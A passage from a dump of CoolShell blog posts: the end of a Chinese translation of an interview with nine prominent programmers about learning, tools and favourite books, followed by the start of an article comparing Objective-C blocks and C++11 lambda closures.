href=\"http://en.wikipedia.org/wiki/Sinclair_QL\" target=\"_blank\">Sinclair QL</a>上编程)。</p>\n<p>当然，我觉得上大学非常有用。我没有去一个工科大学，我上了赫尔辛基大学，这是一个比较偏理论的大学，所以，那里的教育并没有那么多的编程的东西（编程只是很少一部分），这里大多数的课程都倾向于教一些基础概念的东西，如：复杂性分析。看上去很无聊，甚至有点浪费时间，但是我还是觉得这些课有用，我对大多数课都还比较enjoy。所以，我觉得我可能在这些方面是一个比较好的程序员。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我学编程是从用HTML做我的第一个网页开始的。那时，我想当我的网页能动态地显示一些内容，所以，我选择了ASP和PHP。在做完这个网页后，我知道了怎么去编程，于是我开始我的计算机科学和商业管理学位的学习。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我是从高中和大学课程中学编程的，但是我还是觉得我自己学得更多。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>我是在高中学编程的。我完全地迷住了，我对编程爱得无法自拔，然后，我开始挑选那些提供软件开发课程的大学。最终，我去了伦敦大学的帝国学院。第二年我就开始学习软件开发的课程了，那绝对是非凡的，学生和教员在一起工作把教材做得更好，每一个人都可以从中学到很多。这些课程给了我难以置信和非常雄厚的软件开发背景。我在那里读到了博士，最后去创业了。</p>\n<p>关于“我是怎么学编程的”这个问题，我的回答是“我现在还在学编程”。我认为好的程序员一生都在学编程。这并不是去学一门语言或是一个代码库，好的程序员会对他们的编程技艺一年又一年地精益求精。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>我去的那个大学有一个大型主机和很多不同的计算机课程。这对我很重要。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>起初，我是自学的。在我去上大学之前，我就找到了一份程序员的工作。但是我很高兴我去了大学，在那里有很多乐趣，最终我学到了博士。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我先上的是Aarhus大学， 然后是 剑桥大学(Cambridge)，这两个大学教了我很多很有用的东西，这些东西为了以后的工作打下了基础。另外，我对编程和钱的关系学得非常好——知道了真实世界的问题，正确性，维护性，准时交付，等等，这些比教育可能更重要。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>我本来想去做一个数学老师的。但是，那个学数学的大学要我去学几个计算机的课。</p>\n<h4>Q 2: 你们觉得对程序员最重要的事是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>沟通能力（写和说）。除非你可以让你的想法更有效率地传递出去，否则你不可能做得比编程更多的事。程序员应该疯狂地阅读，锻炼写作能力，参加一些写作培训课程，甚至锻炼在公开场合演讲的能力。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>It’s a thing I call “taste”. 有一件事，我把它叫做“品味”。</p>\n<p>我倾向于不从熟练程度来评判那些和我工作过的人。这些人能非常艰苦地写出很多代码，但是我想从他们对别人的代码的反应做出评判，这样我们就可以明白他们自己写的代码怎么样，知道他们使用的方法怎么样。他们对别人的评判还告诉我，他们是不是有好的“品味”。是这样的，如果一个人没有“好的品味”，那么他一般不会很好的评判他人的代码，他自己写的代码通常也不会很好。</p>\n<p>哦，这并不只是唯一的事。还有一件事，尤其在开源项目里，那是他是否有能力能和别人进行简单的沟通，告诉别人他要干什么，怎么干。这个能力可以告诉别人为什么你干的事是非常重要的，并不是所有的人都有这个能力。</p>\n<p>也就是说，有一些人可以写出很不错的代码，但他们并不一定能解释这些代码，他们也并不一定有好的品味，但是代码可以运行得不错。有时，你需要另一个人（有那种不错的品味的人）把他的代码转成更好的形式。也就是说，任何一个程序员都需要那种可以用清晰的代码来解决复杂问题的基础能力。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>很强的对有价值的事的感觉。你可以问问自己这个问题你有没有这种能力：我现在做的这个事值不值得做？很多程序员浪费了如大海一样的时间去做一些无意义的事。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我不觉得只有一个，如果要我说一个的话，我说是“专注”。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>热情。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>你的问题很难回答啊:-) 我猜，如果程序员会在早晨煎个鸡蛋做早餐，那真是无价的能力。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>自我激发。你需要全身心地投入到你要做的事中。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>把事想清楚的能力：程序必需要能清楚地理解问题并能清楚地表述解决方案。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>能为自己的直觉提供证据的能力。</p>\n<h4>Q 3: 你是否认为数学和/或物理是一种很重要的编程技能？为什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>数学有很多的分支和程序员相关，他们是“离散数学”和“具体数学”。这些分支包括的学科有，概率论，组合数学，图论，归纳证明，和其它有用的东西。我会鼓励所有的程序员都去学习离散数学，无论能学多少，因为这总比什么都不懂强。</p>\n<p>对于传统的数学，我也不经常用，但是我需要的时候这些数学知识会很管用。例如，在我之前的工作中我就用到了微积分。我需要估计每个小时中某服务的高峰时间的流量负载，所以，他的负载是跟着太阳走的就像一个正弦曲线一样。最简单的方式就是把每个小时的负载曲线给整合起来。如果我不知道微积分，我就不知道怎么更为准确地估计。</p>\n<p>当年我在开发我的Wyvern游戏的时候，我的平面几何的知识对我非常有帮助。而且经常使用代数和线性代数的知识。但我很少在工作中使用三角学或微分方程，微积分同样也很少。</p>\n<p>我想说，简单的数学基础让我的技能比一般程序员好过5%到10%。如果我了解更多的数学，我确信我会比今天做得更好，所以，我每周都会花几个小时学习数学。</p>\n<p>我喜欢物理，我还在学习物理，我会花我一生去理解量子力学。但是我个却没有发现物理对我的程序员工作有多有用。当然，如果我从事一些和物理相关的工作，可能会有用，例如：3D游戏编程，或是某种物理特性仿真。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我个人认为有很强的数学背景是一件好事。但我不确信物理是不是这样的，但是我深信懂数学的人会让你成为一个更好的程序员。这些智力模型都是相通的。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>根本没用。至少对业务编程和Web应用来说没用。但是数学可能对一个人的写作有很重要的帮助。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>是的。很多相法都是从数学来的：归纳，递归，逻辑，等等。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>也许吧。但老实说，我没见到过懂这些学科和好的程序员有很大的相关性。</p>\n<p>然而，我见过有音乐背景和好的编程技能有很强的相关性。我不知道这为什么，但是我怀疑大脑中的某个区域可以让人即可以写出好的音乐，也可以写出好的代码。（陈皓注：<em><a href=\"http://www.weibo.com/n/Sir%E9%98%BF%E6%80%AA\">@Sir阿怪</a> </em>貌似就是这个例子）</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>数学，当然（对于一些学科是很重要的，我不关心微分方程，但是代数和逻辑学是很重要的），物理，我不觉得对编程技能有关，当然物理在其它很多地方很有意思。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>当然！数学教会了我逻辑和推导……让我有了一双懂分析的眼睛。当我们分析算法的时候，数学是无法被取代的。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>这要看程序员自己和项目性质了。以前的数学很有用，物理一般，但是学好物理是是学习应用数学最好的一条路。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>对我来说，在我的编程生涯中我从来都没有用过大学里教的数学。</p>\n<h4>Q 4: 关于编程，你们认为接下来的大事是什么？X-Oriented编程，Y语言，量子电脑 ？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我认为Web编程会逐渐变成最最重要的客户端编程。而对于原来传统的客端端编程都会被废弃，如： GTK, Java Swing/SWT, Qt, 当然，所有的和平台有关的东西，例如 Cocoa 和 Win32/MFC/等。</p>\n<p>当然，这不会一晚上就发生了。这会在第一个十年内缓慢地发生，而在第二个十年内，Web Apps最终会胜利。工具，语言，协议，和浏览器技术都会进步得非常快，并会完全超出你今天能干的事。每一年都会向前进一步，而从今天开始，我会最终决定把我所有的应用开发全部切换到基于浏览器的应用。（陈皓注：我也是这么认为的，参看《<a href=\"https://coolshell.cn/articles/5815.html\" title=\"来信， 创业 和 移动互联网\">来信，创业，移动互联网</a>》）</p>\n<p>微软和苹果最终不愿意这个事发生，所以，触发这个事的第一步会是一个开源的浏览器（如：Firefox）开始到了支配市场的地位，然后会出现某种Firefox的杀手级应用（这种杀手级应用可能会像iTunes一样，所有的人都会用它，只需要下载Firefox）</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我并不认为我们会看到一个“大的跳跃”。我们只会看到很多的工作帮助我们把那些沉闷辛苦的工作变得更简单——会有一个更高级别的语言，也许把简单的数据库集成到语言中来会是其中最主要一个。</p>\n<p>例如，我个人相信“Visual Basic”在编程方面比“面向对象”做得更多。当然，人们都在取笑VB是一个很烂的编程语言，并且人们在谈论OO语言都十多年了。但我还觉得不是这样的，Visual Basic 不是一个好的语言，但是我觉得VB那简单的数据库接口比OO更重要。</p>\n<p>所以，我认为会语言有很多的改进，并且，硬件的改进会让编程更容易，但我并不期望会有巨大的生产力或是革命性的改进。</p>\n<p>至少，你不会开始搞真正的AI的东西，我也不认为真的AI会变成某种你不需要编程的东西。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我从不试图预测未来。我也不相信命运一说。最好预测未来的方式就是去实现未来。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>大规模的分布式处理</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>下一个最牛的事会被再下一个最牛的事所掩盖，然后再被再再下一个所掩盖，再再再下一个所掩盖……。这是一件没完没了的事，所以，我并不会试图去找最牛的事，因为这会让人们忘了那些最真实的问题：把基本的东西做对。我们要让用户更满意，专注于交付有价值的东西，自豪于我们做的事。一个程序员可以使用很多工具把这些事做得更好，而不是去追逐时尚和流行。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>对不起，我没有那么多水晶球。我CGI被发明了5年后预测过它 :-)</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>有两个事是我现在最关心的，那就是要对付并行和复杂。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我不知道，我也不愿猜。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>不知道。</p>\n<h4>Q 5: 如果你有3个月学一个相对较新的技术，你会学什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我的确有3个月的业余时间，我准备学一下 Dojo (<a href=\"http://dojotoolkit.org\" target=\"_blank\">http://dojotoolkit.org</a>) 和高级 AJAX 及 DHTML。我会通过开发一个相当牛的Web应用来学习他们。Dojo 真的酷，并且我确信它会越来越好。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>嗯，我真的很爱做 FPGA（可编程芯片），但我部是太忙了而不是坐来来开始学习。我喜爱和硬件打交道：很明显这个原因是因为我最终在做操作系统，因为操作系统（除了编译器）基本上都是在和硬件打交道，但我没有真正地自己去设计和做一个硬件。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>Mac 的 Cocoa 编程</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我想把 Javascript 学得更好，<del>然也</del>当然也想学 flash.</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>如果“新”是对于我来说，那么我会去学钢琴课。</p>\n<p>如果“新”是说技术，我猜 我会选择学习某种和为残疾人服务的有关的技术。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>单板滑雪。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>搞点有乐趣的东西，我会学习最新的3D渲染技术。我可能会写一个光子映射渲染器。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>3个月只有很少的东西你可以学，我觉得你只能参加某个成熟领域的培训。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>安全，加密，数字签名，身份标识，等等。对我来说，从没学过这些东西对我来说是个很大的问题。</p>\n<h4>Q 6: 你们觉得如何让一些程序员可能有超过其它程序员10倍或100倍的生产力？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我想你应该考虑一下为什么不是让所有的程序员都一样牛。托马斯爱迪生有一句关于天才的名言也许会给你一些启示。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我真的不知道，我想，一些人之所以更牛是因为他们可以专注于那些重要的事，而更多的只不过是在应付。那些我所知道的真的很牛的程序员从很年轻的时候就在做事了。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>把难题变简单的能力。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>把整体问题一次性放入大脑的能力。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>他们关心他们做的事。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>大脑结构基因不同。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>他们知道他们要做什么，他们不并不急于仓促行事。他们有他们要做的事的整个蓝图。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>首先，缺少足够的职业培训，或基础不够。其次，这些人要即聪明（那种可以把事情想清楚，直达核心的能力），又有经验，并有使用工具的知识。编程需要把理论和实践结合起来 – 并不是使用没有实际业务的知识。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>令人惊讶的思维改变。</p>\n<h4>Q 7: 什么工具是你的最爱（操作系统，编程/脚本语言，文本编辑器，版本管理，shell，数据库，或其它没它你活不了的工具），为什么不是别的？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>操作系统： Unix! 我用Linux，cygwin，和 darwin。你无法打败那些高效的工具。每一个程序员都应该学习使用/bin和/usr/bin下的所有命令。</p>\n<p>脚本语言：Ruby。我几乎对所有的重要的脚本语言都很熟悉： Perl, Python, Tcl, Lua, Awk, Bash, 和一些我忘了的。但是我太懒了，而Ruby是目前所有脚本语言中最简单的，它应该是天堂制造的。</p>\n<p>编程语言：没有一个我喜欢的，我觉得所有的编程语言都很扯。我倾向于Java，因为它很强，可跨平台，有多不错的工具和类库。但是Java未来会进化或是灭亡，Java还没有好到可以永远保持其领先地位。</p>\n<p>文本编辑器：Emacs，因为这是迄今最好的编辑器。</p>\n<p>版本管理：SVN，Perforce更好一些，但是也很贵。</p>\n<p>Shell脚本： Bash, 因为我太懒了去学一个更好的。</p>\n<p>数据库： 当然是MySQL，没有之一。</p>\n<p>其它：我发现GIMP是无价的，但也是令人恼<del>炎</del>火的。我用这个东西好几年了，但什么也没干，但是我没它活不了。很讽刺吧。Firefox 越来越是我最重要的工具。如果让我去用IE和Safari，我会有严重的窒息感。</p>\n<p>注：所有的这些工具 (Unix, Emacs, Firefox, GIMP, MySQL, Bash, SVN, Perforce) 都有一个共同点：他们是可扩展的。例如：他们都有可编程的API。伟大的程序员知道怎么编写他们的工具，而不只是去使用。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>实际上，我最终也没有用过几个工具，而我却花了一些时间让这些工具为我工作。最大的事是我自己写了个操作系统，我也自己写了个版本管理系统（git），我用的文本编辑器是 micro-emacs – 最终我也定制和扩展了它。</p>\n<p>除了上面三个，其它的东西，我深度关心我的邮件阅读软件，我使用“pine”，并不是因为它是史上最好的邮件阅读软件，因为我习惯了，用它我会有最低限度的大惊小怪。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>OS X, TextMate, Ruby, Subversion, MySQL. 这些组合让我很快乐。我希望那些有好的品味的专注于重要的事的工具。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我不喜欢那三大操作系统 – Windows, Mac, Linux。我喜欢 Python 和 Lisp. Emacs.</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>在使用Linux10年后我转到Mac平台有两年多了。Mac并不见得有多好，但是它不需要很牛的技术，也不需要经常维护，这让我可以让我更专心得使用它。</p>\n<p>我并不是一个单一工具的信仰者，我喜欢换来换去的，这样可以让我有更多的经历。现在，我使用 OSX, Emacs, TextMate, Rails, Ruby, SVN, CVS, Rake, make, xsltproc, TeX, MySQL, Postgres, 还有一堆高效的小工具。没人知道我明年会用什么。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Unix/Linux, Python, vi+emacs, Firefox.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>这些天，我在用 NetBeans. 用它可以干我想干的所有的事，清洁，简单和高效。这是最好的我永远要生活在其中的环境了。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>Unix, sam (一个非常简单的文本编辑器), 当然，一个好的C++编译器。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>我喜欢 Unix-like 的操作系统，像 Python 和 Ruby 的动态语言，像Java的静态语言（具体说来是Java API） Emacs, 还有, bash, whatever, NetBeans.</p>\n<h4>Q 8: 你最喜欢的编程书是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>大哥，这个问题太难了。也许是”Gödel, Escher, Bach: an Eternal Golden Braid” (作者Hofstadter)？虽然这不是严格意义上的编程的书，如果你要明确意义上的编程书，那么可能是 SICP (mitpress.mit.edu).</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>嗨。这两天我在读一些小说，或是非计算机读物（老的但是有用的 “The Selfish Gene” 作者 Richard Dawkins)。</p>\n<p>如果要问我编程的书，我脑子里只出现了唯 一一本真正的经典的编程的书 Kernighan &amp; Ritchie 的 “The C Programming Language”，因为这本书太牛了，可读性强并且很短。考<del>虚</del>虑一下你想学到这世上一门最重要编程语言，并且它很要很薄，而且还有可读性，这真是一个奇迹。</p>\n<p>也就是说，其它我很喜欢的书并不是编程的，而是关于计算机结构和硬件的。那显然是 Patterson &amp; Hennessy 的计算机结构的书，但是我个人也许更喜欢 Crawford &amp; Gelsinger 的 “Programming the 80386?，这是我在开始写Linux时用的书。</p>\n<p>相似的原因，我还喜欢 Andrew Tanenbaum 的 “Operating Systems: Design and Implementation”.</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我喜欢 Extreme Programming Explained 其摒弃了一般的编程实践，我还喜欢 Patterns of Enterprise Application Architecture 其出众地说明了抽象和具现的平衡。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>Structure and Interpretation of Computer Programs</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>这关系到你所谓的“最喜欢”，也许我最喜欢的是IBM的 “IBM/360 Principles of Operation.”</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Neil Stephenson的 Quicksilver.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>Programming Pearls 作者Jon Bentley.</p>\n<p><em><strong>Bjarne Stroustrup</strong></em></p>\n<p>K&amp;R.</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>Bentley的 Programming Pearls</p>\n<h4>Q 9: 你最喜欢的和编程无关的一本书是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>只能是一本吗？这不可能。有太多太多我喜欢的书了。</p>\n<p>我这个月读过最喜欢的书是 “Stardust” (Neil Gaiman) 和 “The Mind’s I” (Hofstadter/Dennet).</p>\n<p>我最喜欢的作者是 Kurt Vonnegut, Jr. 和 Jack Vance.</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我在前面说过 Dawkins的 Selfish Gene。在小说方面，有很多很多我enjoy的，但是几乎没有我特别喜欢的一本。我一般不会重读一本书，我的选择总是会变。我可能更喜欢科幻小说，如：”Stranger in a Strange Land” 作者 Heinlein，这是我青少年时期最喜欢的书，但现在并不是我喜欢的了。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>1984, George Orwell.</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Neil Stephenson 的 Quicksilver.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>Guns, Germs &amp; Steel 作者 Jared Diamond</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我没有固定喜欢的书。目前是 O’Brian 的 Aubrey/Maturin 系列。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>One Day in the Life of Ivan Denisovich</p>\n<h4>Q 10: 你最喜欢的乐队/演奏家/作曲家？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>喜欢的风格：古典音乐，动漫原声音乐，电脑游戏音乐</p>\n<p>喜欢的作曲家：Rachmaninoff, Chopin, Bach</p>\n<p>喜欢的演奏者：David Russell (古典吉它), Sviatoslav Richter (钢琴)</p>\n<p>喜欢的动漫音乐： Last Exile, Haibane Renmei</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>实际上我并不太喜欢音乐，但是当我听音乐的时候，我一般听经典摇滚乐，如： Pink Floyd ，Beatles ，Queen 和 The Who 乐队。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我喜欢很多风格。 Beth Orton, Aimee Mann, Jewel, Lauryn Hill. Actually, 所有的这些都可以归到 Girls with Guitars ;).</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Philip Glass.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>我喜欢听民歌: Christine Lavin, Woody Guthrie, Pete Seeger…</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>乐队: The Dixie Chicks. 作曲家: Beethoven.</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>看我的博客吧。</p>\n<p>. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</p>\n<p>. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</p>\n<h4><strong> 补充说明</strong></h4>\n<p>我之所以发现这篇文章，是因为我读到了 Jeff Atwood 的这篇名为 “<a href=\"http://www.codinghorror.com/blog/2006/07/linus-torvalds-visual-basic-fan.html\">Linus Torvalds, Visual Basic Fan</a>” 的文章，这篇文章指向了 “<a href=\"http://sztywny.titaniumhosting.com/2006/07/23/stiff-asks-great-programmers-answers/\">STIFF ASKS, GREAT PROGRAMMERS ANSWER</a>” 这篇文章，但是链接已坏了，然后，我搜了一下也没有搜到这篇文章。然后我去了 archive.org 搜了一下，并找到了这篇由 Jaroslaw Rzeszótko 写的博客。</p>\n<p>因为这篇博文现在找不到了，所以，我想我应该重新把它贴出来，这样其它人可以读一下这篇有意思的文章。所以，我向原作者取得了授权，再次感谢 Jaroslaw!</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8275.html\">对九个超级程序员的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-9-20 C_C++语言中闭包的探究及比较.html",
    "content": "<html><body><p>（<strong><span style=\"color: #cc0000;\">感谢投稿人</span> <a href=\"http://weibo.com/jasonmblog\" target=\"_blank\">@思禽饮霜</a> </strong>）</p>\n<p>这里主要讨论的是C语言的扩展特性<a href=\"http://en.wikipedia.org/wiki/Blocks_(C_language_extension)\" target=\"_blank\">block</a>。该特性是Apple为C、C++、Objective-C增加的扩展，让这些语言可以用类Lambda表达式的语法来创建<a href=\"http://en.wikipedia.org/wiki/Closure_(computer_science)\" target=\"_blank\">闭包</a>。前段时间，在对CoreData存取进行封装时（让开发人员可以更简洁快速地写相关代码），我对block机制有了进一步了解，觉得可以和C++ 11中的Lambda表达式相互印证，所以最近重新做了下整理，分享给大家。</p>\n<h4>0. 简单创建匿名函数</h4>\n<p>下面两段代码的作用都是创建匿名函数并调用，输出Hello, World语句。分别使用Objective-C和C++ 11：</p>\n<p><code class=\"EnlighterJSRAW\">^{ printf(\"Hello, World!\\n\"); } ();</code><br/>\n<code class=\"EnlighterJSRAW\">[] { cout &lt;&lt; \"Hello, World\" &lt;&lt; endl; } ();</code></p>\n<p>Lambda表达式的一个好处就是让开发人员可以在需要的时候临时创建函数，便捷。</p>\n<p>在创建闭包（或者说Lambda函数）的语法上，Objective-C采用的是上尖号<span style=\"color: #ff0000;\">^</span>，而C++ 11采用的是配对的方括号<span style=\"color: #ff0000;\">[]</span>。</p>\n<p>不过“<span style=\"color: #808000;\">匿名函数</span>”一词是针对程序员而言的，编译器还是采取了一定的命名规则。</p>\n<p>比如下面Objective-C代码中的3个block，</p>\n<pre class=\"EnlighterJSRAW\">\n#import &lt;Foundation/Foundation.h&gt;\n\nint (^maxBlk)(int , int) = ^(int m, int n){ return m &gt; n ? m : n; };\n\nint main(int argc, const char * argv[])\n{\n    ^{ printf(\"Hello, World!\\n\"); } ();\n\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>会产生对应的3个函数：</p>\n<p><span id=\"more-8309\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n__maxBlk_block_func_0\n__main_block_func_0\n__main_block_func_1\n</pre>\n<p>可见函数的命名规则为：__<span style=\"color: #ff0000;\">{$Scope}</span>_block_func_<span style=\"color: #ff0000;\">{$index}</span>。其中{$Scope}为block所在函数，如果{$Scope}为全局就取block本身的名称；{$index}表示该block在{$Scope}作用域内出现的顺序（第几个block）。</p>\n<h4>1. 从语法上看如何捕获外部变量</h4>\n<p>在上面的代码中，已经看到“<span style=\"color: #808000;\">匿名函数</span>”可以直接访问外围作用域的变量i：</p>\n<pre class=\"EnlighterJSRAW\">\nint i = 1024;\nvoid (^blk)(void) = ^{ printf(\"%d\\n\", i); };\nblk();\n</pre>\n<p>当匿名函数和non-local变量结合起来，就形成了闭包（个人看法）。<br/>\n这一段代码可以成功输出i的值。</p>\n<p>我们把一样的逻辑搬到C++上：</p>\n<pre class=\"EnlighterJSRAW\">\nint i = 1024;\nauto func = [] { printf(\"%d\\n\", i); };\nfunc();\n</pre>\n<p>GCC会输出：<span style=\"color: #808000;\"><span style=\"color: #ff0000;\">错误</span>：‘i’未被捕获</span>。可见在C++中无法直接捕获外围作用域的变量。</p>\n<p>以BNF来表示Lambda表达式的上下文无关文法，存在：</p>\n<pre class=\"EnlighterJSRAW\">\nlambda-expression : lambda-introducer lambda-parameter-declarationopt compound-statement\nlambda-introducer : [ lambda-captureopt ]\n</pre>\n<p>因此，方括号中还可以加入一些选项：</p>\n<pre class=\"EnlighterJSRAW\">\n[]        Capture nothing (or, a scorched earth strategy?)\n[&amp;]       Capture any referenced variable by reference\n[=]       Capture any referenced variable by making a copy\n[=, &amp;foo] Capture any referenced variable by making a copy, but capture variable foo by reference\n[bar]     Capture bar by making a copy; don't copy anything else\n[this]    Capture the this pointer of the enclosing class\n</pre>\n<p>根据文法，对代码加以修改，使其能够成功运行：</p>\n<pre class=\"EnlighterJSRAW\">\nbash-3.2# vi testLambda.cpp\nbash-3.2# 